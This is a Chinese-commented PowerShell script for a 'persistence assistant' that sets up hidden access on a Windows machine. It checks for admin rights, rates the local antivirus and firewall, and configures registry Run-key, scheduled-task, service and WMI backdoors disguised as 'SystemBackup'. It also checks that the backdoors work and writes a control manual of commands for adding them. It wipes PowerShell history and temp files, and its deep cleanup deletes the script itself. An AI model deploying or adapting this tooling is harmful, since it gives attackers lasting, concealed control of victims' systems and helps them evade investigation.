# Root权限维持助手 - Windows PowerShell部署脚本
# 实现"权限校验→环境适配→一键部署→本地验证→长期监控→应急清理"全流程

param(
    [Parameter(Position=0)]
    [ValidateSet("deploy", "cleanup", "status", "verify")]
    [string]$Action = "deploy",
    
    [Parameter(Position=1)]
    [ValidateSet("fast", "deep")]
    [string]$Mode = "fast"
)

$VERSION = "2.0.0"
$SESSION_ID = Get-Date -Format "yyyyMMdd_HHmmss"
$SCRIPT_DIR = Split-Path -Parent $MyInvocation.MyCommand.Path
$CONFIG_DIR = "$env:USERPROFILE\.system_config"
$SESSION_FILE = "$CONFIG_DIR\.session_$SESSION_ID"

# 颜色输出函数
function Write-ColorOutput {
    param(
        [string]$Message,
        [string]$Color = "White"
    )
    
    $colorMap = @{
        "Red" = "Red"
        "Green" = "Green"
        "Yellow" = "Yellow"
        "Blue" = "Blue"
        "White" = "White"
    }
    
    Write-Host $Message -ForegroundColor $colorMap[$Color]
}

function Log-Info {
    param([string]$Message)
    Write-ColorOutput "[*] $Message" "Blue"
}

function Log-Success {
    param([string]$Message)
    Write-ColorOutput "[+] $Message" "Green"
}

function Log-Warning {
    param([string]$Message)
    Write-ColorOutput "[!] $Message" "Yellow"
}

function Log-Error {
    param([string]$Message)
    Write-ColorOutput "[-] $Message" "Red"
}

# 显示横幅
function Show-Banner {
    $banner = @"
╔══════════════════════════════════════════════════════════════╗
║                    Root权限维持助手 v2.0.0                    ║
║                  一键化部署与闭环控制系统                        ║
╠══════════════════════════════════════════════════════════════╣
║  功能: 权限校验 → 环境适配 → 一键部署 → 本地验证 → 长期监控    ║
║  模式: Windows支持 | 本地闭环 | 隐蔽优先 | 操作极简             ║
╚══════════════════════════════════════════════════════════════╝
"@
    
    Write-Host $banner
    Write-Host ""
    Log-Info "会话ID: $SESSION_ID"
    Log-Info "操作系统: Windows"
    Write-Host ""
}

# 验证管理员权限
function Test-AdminPrivilege {
    $currentUser = [Security.Principal.WindowsIdentity]::GetCurrent()
    $principal = New-Object Security.Principal.WindowsPrincipal($currentUser)
    $isAdmin = $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
    
    if (-not $isAdmin) {
        Log-Error "需要管理员权限才能运行此工具"
        Log-Error "请以管理员身份运行PowerShell"
        exit 1
    }
    
    Log-Success "管理员权限验证通过"
}

# 环境检测
function Invoke-EnvironmentDetection {
    Log-Info "执行环境检测..."
    
    # 创建配置目录
    if (-not (Test-Path $CONFIG_DIR)) {
        New-Item -ItemType Directory -Path $CONFIG_DIR -Force | Out-Null
    }
    
    # 系统信息检测
    $osInfo = Get-WmiObject -Class Win32_OperatingSystem
    $DISTRO = "windows"
    $VERSION_ID = $osInfo.Version
    $OS_NAME = $osInfo.Caption
    
    # 防御工具检测
    $DEFENSE_TOOLS = @()
    
    # Windows Defender检测
    try {
        $defenderStatus = Get-Service -Name "WinDefend" -ErrorAction SilentlyContinue
        if ($defenderStatus -and $defenderStatus.Status -eq "Running") {
            $DEFENSE_TOOLS += "windows_defender"
        }
    } catch {}
    
    # Windows防火墙检测
    try {
        $firewallProfiles = Get-NetFirewallProfile | Where-Object { $_.Enabled -eq $true }
        if ($firewallProfiles) {
            $DEFENSE_TOOLS += "windows_firewall"
        }
    } catch {}
    
    # 服务状态检测
    $SSH_STATUS = "disabled"
    $TASK_STATUS = "disabled"
    
    # SSH服务检测
    try {
        $sshService = Get-Service -Name "sshd" -ErrorAction SilentlyContinue
        if ($sshService -and $sshService.Status -eq "Running") {
            $SSH_STATUS = "active"
        }
    } catch {}
    
    # 任务计划服务检测
    try {
        $taskService = Get-Service -Name "Schedule" -ErrorAction SilentlyContinue
        if ($taskService -and $taskService.Status -eq "Running") {
            $TASK_STATUS = "active"
        }
    } catch {}
    
    # 防御等级评估
    if ($DEFENSE_TOOLS.Count -eq 0) {
        $DEFENSE_LEVEL = "low"
    } elseif ($DEFENSE_TOOLS -contains "windows_firewall") {
        $DEFENSE_LEVEL = "medium"
    } else {
        $DEFENSE_LEVEL = "high"
    }
    
    # 保存环境信息
    $envConfig = @"
OS=windows
DISTRO=$DISTRO
VERSION_ID=$VERSION_ID
OS_NAME=$OS_NAME
DEFENSE_TOOLS=$($DEFENSE_TOOLS -join ' ')
DEFENSE_LEVEL=$DEFENSE_LEVEL
SSH_STATUS=$SSH_STATUS
TASK_STATUS=$TASK_STATUS
SESSION_ID=$SESSION_ID
"@
    
    $envConfig | Out-File -FilePath "$CONFIG_DIR\.environment" -Encoding UTF8
    
    Log-Success "环境检测完成"
    Log-Info "系统: $OS_NAME"
    Log-Info "版本: $VERSION_ID"
    Log-Info "防御等级: $DEFENSE_LEVEL"
    Log-Info "SSH状态: $SSH_STATUS"
    Log-Info "任务计划: $TASK_STATUS"
}

# 生成部署策略
function New-DeploymentStrategy {
    Log-Info "生成部署策略..."
    
    # 加载环境信息
    $envFile = "$CONFIG_DIR\.environment"
    if (Test-Path $envFile) {
        $envContent = Get-Content $envFile
        $envVars = @{}
        foreach ($line in $envContent) {
            if ($line -match "^(.+)=(.+)$") {
                $envVars[$matches[1]] = $matches[2]
            }
        }
    }
    
    $DEFENSE_LEVEL = $envVars["DEFENSE_LEVEL"]
    $TASK_STATUS = $envVars["TASK_STATUS"]
    
    # 根据环境生成策略
    $strategyConfig = @"
# 部署策略配置
STRATEGY_NAME=auto_generated_$DEFENSE_LEVEL
STEALTH_MODE=true
CLEANUP_TRACES=true

# 后门配置
ENABLE_REGISTRY_BACKDOOR=true
ENABLE_SCHEDULED_TASK=$($TASK_STATUS -eq "active")
ENABLE_SERVICE_BACKDOOR=true
ENABLE_WMI_BACKDOOR=true

# 隐蔽配置
RANDOM_FILENAMES=true
OBFUSCATE_COMMANDS=true
HIDE_PROCESSES=true

# 监控配置
ENABLE_HEARTBEAT=true
HEARTBEAT_INTERVAL=300
LOG_ACTIVITIES=false
"@
    
    $strategyConfig | Out-File -FilePath "$CONFIG_DIR\.strategy" -Encoding UTF8
    
    Log-Success "策略生成完成: auto_generated_$DEFENSE_LEVEL"
}

# 执行部署
function Invoke-Deployment {
    Log-Info "开始执行部署..."
    
    # 调用Python一键集成模块
    $pythonScript = Join-Path $SCRIPT_DIR "modules\automation\one_click_integration.py"
    if (Test-Path $pythonScript) {
        Log-Info "调用Python一键集成模块..."
        
        $pythonCode = @"
import sys
import os
sys.path.append('$SCRIPT_DIR')
from modules.automation.one_click_integration import OneClickIntegration

try:
    integration = OneClickIntegration()
    result = integration.deploy_all()
    if result:
        print('[+] Python模块部署成功')
        exit(0)
    else:
        print('[-] Python模块部署失败')
        exit(1)
except Exception as e:
    print(f'[-] Python模块执行错误: {e}')
    exit(1)
"@
        
        try {
            Set-Location $SCRIPT_DIR
            $result = python -c $pythonCode
            if ($LASTEXITCODE -eq 0) {
                Log-Success "Python模块部署完成"
            } else {
                Log-Warning "Python模块部署失败，继续执行PowerShell部署"
            }
        } catch {
            Log-Warning "未找到Python或执行失败，使用PowerShell部署"
        }
    } else {
        Log-Warning "未找到Python一键集成模块，使用PowerShell部署"
    }
    
    # 记录部署信息
    $deploymentLog = "$CONFIG_DIR\.deployment_log"
    "DEPLOYMENT_TIME=$(Get-Date)" | Add-Content $deploymentLog
    "DEPLOYMENT_METHOD=powershell_script" | Add-Content $deploymentLog
    
    Log-Success "部署执行完成"
}

# 验证后门
function Test-Backdoors {
    Log-Info "验证后门有效性..."
    
    $verificationFile = "$CONFIG_DIR\.verification"
    "# 后门验证结果" | Out-File -FilePath $verificationFile -Encoding UTF8
    "VERIFICATION_TIME=$(Get-Date)" | Add-Content $verificationFile
    
    $VERIFIED_COUNT = 0
    $TOTAL_COUNT = 0
    
    # 验证注册表后门
    try {
        $regKey = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
        $regValues = Get-ItemProperty -Path $regKey -ErrorAction SilentlyContinue
        if ($regValues) {
            $TOTAL_COUNT++
            $backupKeys = $regValues.PSObject.Properties | Where-Object { $_.Name -like "*backup*" -or $_.Name -like "*system*" }
            if ($backupKeys) {
                $VERIFIED_COUNT++
                "REGISTRY_BACKDOOR=verified" | Add-Content $verificationFile
                Log-Success "注册表后门验证通过"
            } else {
                "REGISTRY_BACKDOOR=failed" | Add-Content $verificationFile
                Log-Warning "注册表后门验证失败"
            }
        }
    } catch {
        Log-Warning "注册表后门验证出错"
    }
    
    # 验证计划任务后门
    try {
        $tasks = Get-ScheduledTask | Where-Object { $_.TaskName -like "*backup*" -or $_.TaskName -like "*system*" }
        if ($tasks) {
            $TOTAL_COUNT++
            $VERIFIED_COUNT++
            "SCHEDULED_TASK_BACKDOOR=verified" | Add-Content $verificationFile
            Log-Success "计划任务后门验证通过"
        } else {
            $TOTAL_COUNT++
            "SCHEDULED_TASK_BACKDOOR=failed" | Add-Content $verificationFile
            Log-Warning "计划任务后门验证失败"
        }
    } catch {
        Log-Warning "计划任务后门验证出错"
    }
    
    "VERIFIED_COUNT=$VERIFIED_COUNT" | Add-Content $verificationFile
    "TOTAL_COUNT=$TOTAL_COUNT" | Add-Content $verificationFile
    
    if ($VERIFIED_COUNT -gt 0) {
        Log-Success "后门验证完成: $VERIFIED_COUNT/$TOTAL_COUNT 可用"
    } else {
        Log-Warning "后门验证完成: 无可用后门"
    }
}

# 生成控制手册
function New-ControlManual {
    Log-Info "生成控制手册..."
    
    $manualFile = "$CONFIG_DIR\.control_manual"
    
    $manual = @"
# Root权限维持控制手册 (Windows)
# 生成时间: $(Get-Date)
# 会话ID: $SESSION_ID

## 系统信息
操作系统: Windows
版本: $VERSION_ID
防御等级: $DEFENSE_LEVEL

## 后门控制命令

### 注册表后门
# 查看启动项: Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
# 添加启动项: Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name "SystemBackup" -Value "C:\Windows\System32\backup.exe"

### 计划任务后门
# 查看任务: Get-ScheduledTask | Where-Object {`$_.TaskName -like "*backup*"}
# 创建任务: Register-ScheduledTask -TaskName "SystemBackup" -Action (New-ScheduledTaskAction -Execute "C:\Windows\System32\backup.exe")

### 服务后门
# 查看服务: Get-Service -Name "SystemBackup"
# 启动服务: Start-Service -Name "SystemBackup"

### WMI后门
# 查看WMI事件: Get-WmiObject -Namespace "root\subscription" -Class "__EventFilter"

## 应急清理
# 快速清理: .\deploy.ps1 cleanup fast
# 深度清理: .\deploy.ps1 cleanup deep

## 状态检查
# 查看手册: .\deploy.ps1 status
# 验证后门: .\deploy.ps1 verify

"@
    
    $manual | Out-File -FilePath $manualFile -Encoding UTF8
    
    Log-Success "控制手册已生成: $manualFile"
}

# 清理痕迹
function Clear-Traces {
    Log-Info "清理操作痕迹..."
    
    # 清理PowerShell历史
    try {
        Clear-History
        $historyPath = (Get-PSReadlineOption).HistorySavePath
        if (Test-Path $historyPath) {
            Clear-Content $historyPath
        }
    } catch {}
    
    # 清理临时文件
    try {
        Remove-Item -Path "$env:TEMP\*.deploy*" -Force -ErrorAction SilentlyContinue
        Remove-Item -Path "$env:TEMP\*.system*" -Force -ErrorAction SilentlyContinue
    } catch {}
    
    # 清理事件日志（谨慎操作）
    try {
        $logNames = @("Application", "System", "Security")
        foreach ($logName in $logNames) {
            $events = Get-WinEvent -LogName $logName -MaxEvents 100 -ErrorAction SilentlyContinue | 
                      Where-Object { $_.Message -like "*deploy*" }
            # 注意：实际环境中不建议删除事件日志
        }
    } catch {}
    
    Log-Success "痕迹清理完成"
}

# 显示部署摘要
function Show-DeploymentSummary {
    Log-Info "部署摘要"
    Write-Host "=================================="
    Write-Host "会话ID: $SESSION_ID"
    Write-Host "操作系统: Windows"
    Write-Host "部署时间: $(Get-Date)"
    
    $verificationFile = "$CONFIG_DIR\.verification"
    if (Test-Path $verificationFile) {
        $verificationContent = Get-Content $verificationFile
        $verifiedCount = ($verificationContent | Where-Object { $_ -like "VERIFIED_COUNT=*" }) -replace "VERIFIED_COUNT=", ""
        $totalCount = ($verificationContent | Where-Object { $_ -like "TOTAL_COUNT=*" }) -replace "TOTAL_COUNT=", ""
        Write-Host "验证结果: $verifiedCount/$totalCount 后门可用"
    }
    
    Write-Host "配置目录: $CONFIG_DIR"
    Write-Host "控制手册: $CONFIG_DIR\.control_manual"
    Write-Host "=================================="
    
    Log-Success "一键部署流程完成"
    Log-Info "请妥善保存控制手册以便后续使用"
}

# 应急清理
function Invoke-EmergencyCleanup {
    param([string]$CleanupMode = "fast")
    
    Log-Warning "开始应急清理 (模式: $CleanupMode)"
    
    if ($CleanupMode -eq "deep") {
        Log-Warning "执行深度清理..."
        
        # 清理注册表启动项
        try {
            $regKey = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
            $regValues = Get-ItemProperty -Path $regKey -ErrorAction SilentlyContinue
            if ($regValues) {
                $backupKeys = $regValues.PSObject.Properties | Where-Object { $_.Name -like "*backup*" -or $_.Name -like "*system*" }
                foreach ($key in $backupKeys) {
                    Remove-ItemProperty -Path $regKey -Name $key.Name -ErrorAction SilentlyContinue
                }
            }
        } catch {}
        
        # 清理计划任务
        try {
            $tasks = Get-ScheduledTask | Where-Object { $_.TaskName -like "*backup*" -or $_.TaskName -like "*system*" }
            foreach ($task in $tasks) {
                Unregister-ScheduledTask -TaskName $task.TaskName -Confirm:$false -ErrorAction SilentlyContinue
            }
        } catch {}
        
        # 清理服务
        try {
            $services = Get-Service | Where-Object { $_.Name -like "*backup*" -or $_.Name -like "*system*" }
            foreach ($service in $services) {
                Stop-Service -Name $service.Name -Force -ErrorAction SilentlyContinue
                # 注意：删除服务需要额外的权限和工具
            }
        } catch {}
        
        # 清理配置目录
        try {
            Remove-Item -Path $CONFIG_DIR -Recurse -Force -ErrorAction SilentlyContinue
        } catch {}
        
        # 清理PowerShell历史
        try {
            Clear-History
            $historyPath = (Get-PSReadlineOption).HistorySavePath
            if (Test-Path $historyPath) {
                Clear-Content $historyPath
            }
        } catch {}
        
        # 自毁脚本
        try {
            Remove-Item -Path $MyInvocation.MyCommand.Path -Force -ErrorAction SilentlyContinue
        } catch {}
    } else {
        Log-Info "执行快速清理..."
        
        # 只清理配置文件和历史
        try {
            Remove-Item -Path $CONFIG_DIR -Recurse -Force -ErrorAction SilentlyContinue
            Clear-History
            $historyPath = (Get-PSReadlineOption).HistorySavePath
            if (Test-Path $historyPath) {
                Clear-Content $historyPath
            }
        } catch {}
    }
    
    Log-Success "$CleanupMode 清理完成"
}

# 显示状态
function Show-Status {
    $manualFile = "$CONFIG_DIR\.control_manual"
    if (Test-Path $manualFile) {
        Get-Content $manualFile
    } else {
        Log-Error "未找到控制手册"
    }
}

# 验证后门状态
function Invoke-Verification {
    $envFile = "$CONFIG_DIR\.environment"
    if (Test-Path $envFile) {
        Test-Backdoors
    } else {
        Log-Error "未找到环境配置"
    }
}

# 主函数
function Main {
    switch ($Action) {
        "deploy" {
            Show-Banner
            Test-AdminPrivilege
            Invoke-EnvironmentDetection
            New-DeploymentStrategy
            Invoke-Deployment
            Test-Backdoors
            New-ControlManual
            Clear-Traces
            Show-DeploymentSummary
        }
        "cleanup" {
            Invoke-EmergencyCleanup -CleanupMode $Mode
        }
        "status" {
            Show-Status
        }
        "verify" {
            Invoke-Verification
        }
        default {
            Write-Host "用法: .\deploy.ps1 [deploy|cleanup|status|verify] [fast|deep]"
            Write-Host "  deploy  - 执行一键部署 (默认)"
            Write-Host "  cleanup - 应急清理 [fast|deep]"
            Write-Host "  status  - 显示控制手册"
            Write-Host "  verify  - 验证后门状态"
        }
    }
}

# 执行主函数
Main